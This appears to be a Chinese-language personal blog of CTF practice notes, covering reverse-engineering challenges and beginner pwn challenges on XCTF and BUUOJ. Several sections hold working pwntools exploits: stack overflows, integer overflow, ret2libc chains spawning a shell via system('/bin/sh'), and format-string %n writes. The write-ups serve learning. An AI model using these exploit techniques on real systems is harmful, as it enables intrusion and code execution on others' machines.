ctf做题记录1

xctf babyre

第一次做smc程序,看了wp学了下打patch。

打开ida启动反汇编就发现judge是全程序的关键,但是judge在开头进行了异或操作,导致反汇编不出来。于是可以用ida打patch来让ida正确反汇编函数。

屏幕截图 2022-03-05 203908

屏幕截图 2022-03-05 204106

如果是花指令,就可以使用edit-patch programmer将字节码改成nop跳过花指令。如果是需要编写脚本来正确反编译,可以在file-script command里编写脚本(7.5无法直接使用patchbyte()指令,需要from idc_bc695 import *)。

屏幕截图 2022-03-05 204927

然后再使用快捷键c重新生成汇编代码,发现已经有汇编代码正确生成,再使用快捷键p重新生成函数即可发现关键函数。

xctf easyhook

打开ida尝试进行静态分析,但因为太多干扰函数和复杂的winapi分析了半小时没分析出来(汗),看了下wp,说用动态调试好解决,于是便进行了动态调试分析。

先直接让程序运行,直接在提示输入的函数下断点,运行输入后提示错误,说明判断条件在函数内部。进入函数后狂按f8,发现程序在writefile后会入栈一串加密的字符串,于是可以判定程序在此进行判断

屏幕截图 2022-03-06 131739

我在找加密后的flag这里掉了坑,一直以为后面call401240里给的This_is_not_the_flag是加密后的flag,导致写出的脚本一直得不到flag。后来看了wp才知道原来程序在加密后就直接进行了判断。

屏幕截图 2022-03-06 131437

最后写出脚本

屏幕截图 2022-03-06 131756

xctf EasyRe

打开ida后反编译得到

屏幕截图 2022-03-06 153650

程序很简单就简单的异或,于是直接写脚本,但是却得到了反的flag:}NsDkw9sy3qPto4UqNx{galf

屏幕截图 2022-03-06 154358

于是开始找原因,后来在汇编代码中发现了问题,原来在汇编代码中,他是从后到前开始异或的,但是在反编译中却没编译出来。以后还是不能全部相信f5反编译。

xctf mysterious

image-20220309163603717

打开ida发现是windows程序,打开winmain发现程序运算逻辑,先用getdlgitemtexta api输入内容,然后运用atoi将字符串转换成数字,然后将转换后的数字加一,再将转换后的数字变成字符串,最后拼接输出。这题我卡的地方就在于不知道atoi函数和itoa函数,导致我跟进进去没分析出来www

1
2
3
4
5
6
7
8
9
10
11
12
itoa()函数

itoa():char *itoa( int value, char *string,int radix);

原型说明:

value:欲转换的数据。
string:目标字符串的地址。
radix:转换后的进制数,可以是10进制、16进制等,范围必须在 2-36

功能:将整数value 转换成字符串存入string 指向的内存空间 ,radix 为转换时所用基数(保存到字符串中的数据的进制基数)。
返回值:函数返回一个指向 str,无错误返回。

xctf parallel-comparator-200

读源码的题

屏幕截图 2022-03-09 185426

首先题目标准流输入了一个长度为21的字符串,然后对字符串进行了操作,并返回1,接着看字符串处理

屏幕截图 2022-03-09 185706

先定义了一个随机数,随机数的范围为97-123

屏幕截图 2022-03-09 185352

后定义了一个二维数组 [] [0]存放随机数,[] [1]存放题目给定的数组,[] [2]存放用户输入的字符串

屏幕截图 2022-03-09 185949

这串代码意思是checking函数的返回值result必须全部为零,所以接着看checking函数内部

屏幕截图 2022-03-09 185342

再异或一次(argument[1]+argument[0])就可以得到flag,因为不知道随机数是多少所以采取暴力手法

![屏幕截图 2022-03-09 190209](E:\屏幕截图\屏幕截图 2022-03-09 190209.png)

得到flag:lucky_hacker_you_are

xctf testre

1
2
3
4
base64字母表:ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
base58字母表:123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz
base32字母表:ABCDEFGHIJKLMNOPQRSTUVWXYZ123456789
base16字母表:abcdefghijklmnopqrstuvwxyz123456789

打开后发现两个字母表一个是64一个是58,将字符串用这两个字母表尝试下可以得到flag

xctf simple check

这道题尝试了下gdb调试和od调试,od调试没啥说的。主要是联系linux下的gdb调试。

1
2
3
4
5
6
7
8
常见的gdb命令符

1. file xxxxx 挂载文件
2. b xxxx 下断点
3. n 单步步过
4. r 运行程序
5. s 单步步入
6. quit 退出调试

题目只要在check函数判断正确就可以输出flag,可以用动态调试将check函数返回的eax值手动改为1,强制判断正确,输出正确的flag。静态调试没分析出来,目前还在看题解的静态调试www

xctf easyre-153

打开程序找到main函数后,先对程序有个大致了解。

屏幕截图 2022-03-17 194126

屏幕截图 2022-03-17 194141

看到关键函数只有一个printf函数,我猜测应该是程序ida在汇编是发生错误,有可能是题目故意让ida反编译不吹来。找到造成反编译错误点比较困难。

但看到后面有两个连续的if判断,我最开始想到的方法是使用动态调试跳过这两个判断语句直接的到flag,但实际上在linux使用gdb调试时,我下断点调试时,不知道为啥gdb遇到输入的时候按ctrl+z或者ctrl+j无法结束输入(是我太菜了,悲)。没法结束判断条件就没法跳过后面的两个判断,所以gdb调试只能作罢。又开始了静态分析读代码。

在查看了lol的汇编代码后,我发现确实是ida没有反汇编出来,于是只好一点一点看汇编。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
.text:080485F4 lol             proc near               ; CODE XREF: main+EE↓p
.text:080485F4 ; DATA XREF: main+AC↓o
.text:080485F4
.text:080485F4 var_13 = byte ptr -13h
.text:080485F4 var_12 = byte ptr -12h
.text:080485F4 var_11 = byte ptr -11h
.text:080485F4 var_10 = byte ptr -10h
.text:080485F4 var_F = byte ptr -0Fh
.text:080485F4 var_E = byte ptr -0Eh
.text:080485F4 var_D = byte ptr -0Dh
.text:080485F4 var_C = dword ptr -0Ch
.text:080485F4 arg_0 = dword ptr 8
.text:080485F4
.text:080485F4 push ebp
.text:080485F5 mov ebp, esp
.text:080485F7 sub esp, 28h
.text:080485FA mov eax, [ebp+arg_0] //给定基地址
.text:080485FD add eax, 1 //基地址位置+1
.text:08048600 movzx eax, byte ptr [eax] //将地址的值赋给eax
.text:08048603 mov edx, eax //将值保存
.text:08048605 mov eax, [ebp+arg_0] //重复刚才的动作
.text:08048608 add eax, 1
.text:0804860B movzx eax, byte ptr [eax]
.text:0804860E lea eax, [edx+eax] //将两次保存的值赋值给eax ,相当于乘以2
.text:08048611 mov [ebp+var_13], al //将保存的eax值赋值给ebp+var_13的地址上
可以得到[eax+var_13]=2*[eax+arg_0+1]
.text:08048614 mov eax, [ebp+arg_0]
.text:08048617 add eax, 4
.text:0804861A movzx eax, byte ptr [eax]
.text:0804861D mov edx, eax
.text:0804861F mov eax, [ebp+arg_0]
.text:08048622 add eax, 5
.text:08048625 movzx eax, byte ptr [eax]
.text:08048628 lea eax, [edx+eax]
.text:0804862B mov [ebp+var_12], al
[ebp+var_12]=[eax+arg_0+4]+[eax+arg_0+5]
.text:0804862E mov eax, [ebp+arg_0]
.text:08048631 add eax, 8
.text:08048634 movzx eax, byte ptr [eax]
.text:08048637 mov edx, eax
.text:08048639 mov eax, [ebp+arg_0]
.text:0804863C add eax, 9
.text:0804863F movzx eax, byte ptr [eax]
.text:08048642 lea eax, [edx+eax]
.text:08048645 mov [ebp+var_11], al
[ebp+var_11]=[eax+arg_0+8]+[eax+arg_0+9]
.text:08048648 mov eax, [ebp+arg_0]
.text:0804864B add eax, 0Ch
.text:0804864E movzx eax, byte ptr [eax]
.text:08048651 mov edx, eax
.text:08048653 mov eax, [ebp+arg_0]
.text:08048656 add eax, 0Ch
.text:08048659 movzx eax, byte ptr [eax]
.text:0804865C lea eax, [edx+eax]
.text:0804865F mov [ebp+var_10], al
[ebp+var_10]=2*[eax+arg_0+12]
.text:08048662 mov eax, [ebp+arg_0]
.text:08048665 add eax, 12h
.text:08048668 movzx eax, byte ptr [eax]
.text:0804866B mov edx, eax
.text:0804866D mov eax, [ebp+arg_0]
.text:08048670 add eax, 11h
.text:08048673 movzx eax, byte ptr [eax]
.text:08048676 lea eax, [edx+eax]
.text:08048679 mov [ebp+var_F], al
[ebp+var_15]=[eax+arg_0+17]+[eax+arg_0+18]
.text:0804867C mov eax, [ebp+arg_0]
.text:0804867F add eax, 0Ah
.text:08048682 movzx eax, byte ptr [eax]
.text:08048685 mov edx, eax
.text:08048687 mov eax, [ebp+arg_0]
.text:0804868A add eax, 15h
.text:0804868D movzx eax, byte ptr [eax]
.text:08048690 lea eax, [edx+eax]
.text:08048693 mov [ebp+var_E], al
[ebp+var_14]=[eax+arg_0+10]+[eax+arg_0+21]
.text:08048696 mov eax, [ebp+arg_0]
.text:08048699 add eax, 9
.text:0804869C movzx eax, byte ptr [eax]
.text:0804869F mov edx, eax
.text:080486A1 mov eax, [ebp+arg_0]
.text:080486A4 add eax, 19h
.text:080486A7 movzx eax, byte ptr [eax]
.text:080486AA lea eax, [edx+eax]
.text:080486AD mov [ebp+var_D], al
[ebp+var_13]=[eax+arg_0+9]+[eax+arg_0+25]
.text:080486B0 mov [ebp+var_C], 0
[ebp+var_12]=0
.text:080486B7 cmp [ebp+var_C], 1
.text:080486BB jnz short loc_80486D3
.text:080486BD mov eax, offset format ; "%s"
.text:080486C2 lea edx, [ebp+var_13]
.text:080486C5 mov [esp+4], edx
.text:080486C9 mov [esp], eax ; format
.text:080486CC call _printf
.text:080486D1 jmp short locret_80486E0

整理出来得到

1
2
3
4
5
6
7
8
[eax+var_19]=2*[eax+arg_0+1]
[ebp+var_18]=[eax+arg_0+4]+[eax+arg_0+5]
[ebp+var_17]=[eax+arg_0+8]+[eax+arg_0+9]
[ebp+var_16]=2*[eax+arg_0+12]
[ebp+var_15]=[eax+arg_0+17]+[eax+arg_0+18]
[ebp+var_14]=[eax+arg_0+10]+[eax+arg_0+21]
[ebp+var_13]=[eax+arg_0+9]+[eax+arg_0+25]
[ebp+var_12]=0

只要找到传进来的eax+arg_0是谁就可以解除这道题,有下标25的数组,只能猜测是buf或者是pipe[1],先尝试pipe[1],我先尝试了下按照左边的地址大小找flag写脚本。

1
2
3
4
5
6
7
8
9
10
11
12
a = '69800876143568214356928753'
a = list(map(ord,a))
flag = ""
flag += chr(a[9]+a[25])
flag += chr(a[10]+a[21])
flag += chr(a[17]+a[18])
flag += chr(2*a[12])
flag += chr(a[8]+a[9])
flag += chr(a[4]+a[5])
flag += chr(2*a[1])
print(flag)
#得到值gehlehr,输入后发现不对。

又尝试了下反着输入,得到了flag

有没有哪位同志可以解释下linux下gdb调试怎么才可以结束输入wwww,以后还是尝试用ida调试elf文件吧qaq

xctf pwn level0

第一次做pwn题,题目就是简单的栈溢出,当允许写入的量超过了堆栈的就可以覆盖返回地址,从而让地址回到自己想要的地方

屏幕截图 2022-04-02 124518

屏幕截图 2022-04-02 124528

exp:

1
2
3
4
5
from pwn import *
a=remote("111.200.241.222",58857)
payload=b'a'*136+p64(0x0040059A)
a.send(payload)
a.interactive()

xctf pwn level2

屏幕截图 2022-03-24 231138

屏幕截图 2022-03-24 231201

屏幕截图 2022-03-24 231313

屏幕截图 2022-03-24 231725

xctf pwn guess_number

gets(&)漏洞,加上伪随机数。伪随机数的一个特点就是,只要我们将种子固定,那么它生成的随机数就是固定的。于是我们只要覆盖随机种子将它改成我们想要的种子即可,正好程序的v7数组的栈地址就在种子的上面。

屏幕截图 2022-04-02 124944

屏幕截图 2022-04-02 125028

屏幕截图 2022-03-24 232138

屏幕截图 2022-03-24 232155

屏幕截图 2022-03-24 232208

buuoj pwn ciscn_2019_n_1

屏幕截图 2022-03-27 162049

这道题很简单,利用gets函数可以无限输入的漏洞,把v1的栈溢出到v2,将v2的值改成题目要求的值,但我这里犯了个错误,我最开始的时候是想直接把v1,v2的栈直接溢出,然后覆盖原有的地址,直接返回到调用system(“cat \flag”)的地址执行,结果写exp执行后一直timeout,后来才想到把把v1的栈溢出改v2的值。

要想让v2的值等于11.825,要先找到11.825的16进制值,因为11.825在内存中是以16进制形式存储的。找到后就可以直接写exp了。

![屏幕截图 2022-03-27 162817](E:\屏幕截图\屏幕截图 2022-03-27 162817.png)

![屏幕截图 2022-03-27 162832](E:\屏幕截图\屏幕截图 2022-03-27 162832.png)

jarvisoj_level0 buuoj pwn

基础的栈溢出问题,打开关键函数发现,可以写入的量超过了栈,于是可以覆盖返回地址

屏幕截图 2022-03-28 135327

屏幕截图 2022-03-28 135343

xctf int overflow

这题看题目就知道可以利用int的溢出,当数据超过int型的最大范围时,就会溢出变为负数的最大值

屏幕截图 2022-04-02 130558

屏幕截图 2022-04-02 130548

屏幕截图 2022-04-02 130539

屏幕截图 2022-04-02 130858

于是我们只要将buf的长度更改为258-266之间,并且在buf的前面把dest的栈溢出即可

exp:

1
2
3
4
5
6
7
8
9
10
from pwn import *
a=remote("111.200.241.244",54577)
a.recvuntil("Your choice:")
a.sendline(b'1')
a.recvuntil("Please input your username:")
a.sendline(b'123')
a.recvuntil("Please input your passwd:")
payload=b'a'*24+p32(0x08048694)
a.sendline(payload.ljust(260,b'a'))
a.interactive()

buuoj ciscn_2019_c_1

checksec后发现是标准的ret2libc题目,但是这个程序是64位的,在构造payload获得puts的地址方式有差别

64位:覆盖栈+.got+.plt+main的地址

32位:覆盖栈+.plt+main的地址+.got

然后此题的环境还是ubuntu18,Ubuntu18以上后在构造栈溢出后需要堆栈平衡,就必须引入pop_rdi_ret

1

2

于是就可以写payload了,但是我的exp卡在了puts_addr=u64(a.recv(7)[:-1].ljust(8,b’\x00’))这里,看了别人的exp才知道在这前面还要再吃个回车,我也不知道为啥,是因为puts(s)?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
from LibcSearcher import *
a=remote("node4.buuoj.cn",26328)
elf=ELF("./ciscn_2019_c_1")
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
main_addr=0x00400B28
pop_rdi_ret=0x400c83
a.recvuntil("Input your choice!")
a.sendline(b'1')
a.recvuntil("Input your Plaintext to be encrypted")
payload1=b'a'*0x50+b'a'*0x08+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)#unbuntu有堆栈平衡,需要加pop_rdi_ret,之前一直payload构造不上去
a.sendline(payload1)
a.recvuntil("Ciphertext\n")
a.recvuntil("\n")#卡在这里了wwww,最后这里还是看了wp
puts_addr=u64(a.recv(7)[:-1].ljust(8,b'\x00'))
libc=LibcSearcher('puts',puts_addr)
print(hex(puts_addr))
libcbase=puts_addr-libc.dump('puts')
system_addr=libcbase+libc.dump('system')
bin_sh_addr=libcbase+libc.dump("str_bin_sh")
a.recvuntil("Input your choice!")
a.sendline(b'1')
a.recvuntil("Input your Plaintext to be encrypted")
payload2=b'a'*0x50+b'a'*0x08+p64(0x00400C1C)+p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(system_addr)
a.sendline(payload2)
a.interactive()

xctf pwn cgfsb

本题利用的是格式化字符串的漏洞来进行解题

相关知识:

3.1.1 格式化字符串漏洞 · CTF All In One (gitbooks.io)

Format String - CTF Wiki (ctf-wiki.org)

要点

  1. 根据 cdecl 的调用约定,在进入 printf() 函数之前,将参数从右到左依次压栈。进入 printf() 之后,函数首先获取第一个参数,一次读取一个字符。如果字符不是 %,字符直接复制到输出中。否则,读取下一个非空字符,获取相应的参数并解析输出。(注意:% d%d 是一样的)

  2. 在进入 printf 之后,函数首先获取第一个参数,一个一个读取其字符会遇到两种情况

  • 当前字符不是 %,直接输出到相应标准输出。
  • 当前字符是 %, 继续读取下一个字符
    • 如果没有字符,报错
    • 如果下一个字符是 %, 输出 %
    • 否则根据相应的字符,获取相应的参数,对其进行解析并输出

那么假设,此时我们在编写程序时候,写成了下面的样子

1
>printf("Color %s, Number %d, Float %4.2f");

此时我们可以发现我们并没有提供参数,那么程序会如何运行呢?程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为

  1. 解析其地址对应的字符串

  2. 解析其内容对应的整形值

  3. 解析其内容对应的浮点值

  4.  //源码
     #include<stdio.h>
     void main() {
     char format[128];
     int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
     char arg4[10] = "ABCD";
     scanf("%s", format);
     printf(format, arg1, arg2, arg3, arg4);
     printf("\n");
     }
    
1

1
2
3
4
5
6
7
8
9
10
11
12
[------------------------------------stack-------------------------------------]
0000| 0xffffd550 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
0004| 0xffffd554 --> 0x1
0008| 0xffffd558 --> 0x88888888
0012| 0xffffd55c --> 0xffffffff
0016| 0xffffd560 --> 0xffffd57a ("ABCD")
0020| 0xffffd564 --> 0xffffd584 ("AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
0024| 0xffffd568 (" RUV\327UUVT\332\377\367\001")
0028| 0xffffd56c --> 0x565555d7 (<main+26>: add ebx,0x1a29)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x56555642 in main ()

格式字符串的地址在 0xffffd584,从下面的输出中可以看到它们在栈中是怎样排布的:

1
2
3
4
5
6
7
8
9
10
11
12
>gdb-peda$ x/20w $esp
>0xffffd550: 0xffffd584 0x00000001 0x88888888 0xffffffff
>0xffffd560: 0xffffd57a 0xffffd584 0x56555220 0x565555d7
>0xffffd570: 0xf7ffda54 0x00000001 0x424135d0 0x00004443
>0xffffd580: 0x00000000 0x41414141 0x2e70252e 0x252e7025
>0xffffd590: 0x70252e70 0x2e70252e 0x252e7025 0x70252e70
>gdb-peda$ x/20wb 0xffffd584
>0xffffd584: 0x41 0x41 0x41 0x41 0x2e 0x25 0x70 0x2e
>0xffffd58c: 0x25 0x70 0x2e 0x25 0x70 0x2e 0x25 0x70
>0xffffd594: 0x2e 0x25 0x70 0x2e
>gdb-peda$ python print('\x2e\x25\x70')
>.%p

下面是程序运行的结果:

1
2
3
>gdb-peda$ c
>Continuing.
>AAAA.0x1.0x88888888.0xffffffff.0xffffd57a.0xffffd584.0x56555220.0x565555d7.0xf7ffda54.0x1.0x424135d0.0x4443.(nil).0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e

0x41414141 是输出的第 13 个字符,所以我们使用 %13$s 即可读出 0x41414141 处的内容,当然,这里可能是一个不合法的地址。只要将0x41414141改成有效地址就可以任意地址的访问

  1. %$n可以将当前已经写入的字符个数赋值给所给的地址

屏幕截图 2022-03-30 170255

根据前面对于格式化字符串漏洞的学习,我们可以找到pwn的地址,对其进行覆盖,pwnme位于bss区域,地址不会更改,所以我们只要找到printf的偏移量就可以写exp了

![屏幕截图 2022-03-30 170311](E:\屏幕截图\屏幕截图 2022-03-30 170311.png)

可以知道偏移量为10

exp:

1
2
3
4
5
6
7
from pwn import *
a=remote("111.200.241.244",55080)
a.sendlineafter("please tell me your name:",123)
payload=p32(0x0804A068)+b'aaaa'+b'%10$n'
a.recvuntil("leave your message please:")
a.sendline(payload)
a.interactive()

xctf pwn hello_pwn

屏幕截图 2022-03-30 171747

屏幕截图 2022-03-30 171810

屏幕截图 2022-03-30 171818

屏幕截图 2022-03-30 171848

buuoj pwn pwn5

首先先checksec一下程序,发现不可栈溢出和NX。打开ida分析下

屏幕截图 2022-04-02 154600

屏幕截图 2022-04-02 154619

同时判断的关键数据的地址正好位于bss段,地址不会更改。于是可以利用格式化输出的漏洞

屏幕截图 2022-04-02 154744

发现偏移量位10,于是可以写exp

1
2
3
4
5
6
7
8
from pwn import *
a=remote("node4.buuoj.cn",28470)
a.recvuntil("your name:")
payload=p32(0x0804C044)+b'aaaa'+b'%10$n'
a.sendline(payload)
a.recvuntil("your passwd:")
a.sendline(b'8')
a.interactive()

buuoj pwn ciscn_2019_n_8

scanf(“%s”)既提供了首地址,然后又没有限制输入的长度,可以利用这个来进行栈覆盖

屏幕截图 2022-04-03 144825

屏幕截图 2022-04-03 144740

buuoj pwn babyrop

首先打开ida分析下程序运行方式

屏幕截图 2022-04-03 160816

屏幕截图 2022-04-03 160827

屏幕截图 2022-04-03 160837

程序先从文件里读入数据,然后让我们输入字符串,并进行比较,如果一样就可以继续操作,然后就可以利用栈溢出来得到libc,从而解决问题。

因为我们不知道程序读入的数据是多少,于是我们只能修改我们输入的值,让它对比通过,可以直接将字符串截断,因为是空字符串,于是肯定能比较成功,在payload中"\x00"可以截断字符串,然后再将buf[7]取最大值就行了"\xff"(255)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from LibcSearcher import *
a= remote("node4.buuoj.cn",29138)
elf = ELF("./pwn")
libc = ELF("libc_32.so.6")
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=0x08048825
payload1=b'\x00'+b'\xff'*7 #\x00直接截断字符串,于是可以跳过字符串对比 \xff=255这样超过了buf的大小于是可以栈溢出
a.sendline(payload1)
a.recvuntil("Correct\n")
payload2=b'a'*0xeb+p32(write_plt)+p32(main_addr)+p32(0)+p32(write_got)
a.sendline(payload2)
write_addr=u32(a.recv(4))
libcbase=write_addr-libc.sym['write']
system_addr=libcbase+libc.sym['system']
bin_sh_addr=libcbase+next(libc.search(b'/bin/sh'))
payload1=b'\x00'+b'\xff'*7 #\x00直接截断字符串,于是可以跳过字符串对比 \xff=255这样超过了buf的大小于是可以栈溢出
a.sendline(payload1)
a.recvuntil("Correct\n")
payload2=b'a'*0xeb+p32(system_addr)+p32(1)+p32(bin_sh_addr)
a.sendline(payload2)
a.interactive()


ctf做题记录1
http://www.ooorz.site/2022/04/08/ctf做题记录1/
作者
Lin Xinjie
发布于
2022年4月8日
更新于
2024年10月19日
许可协议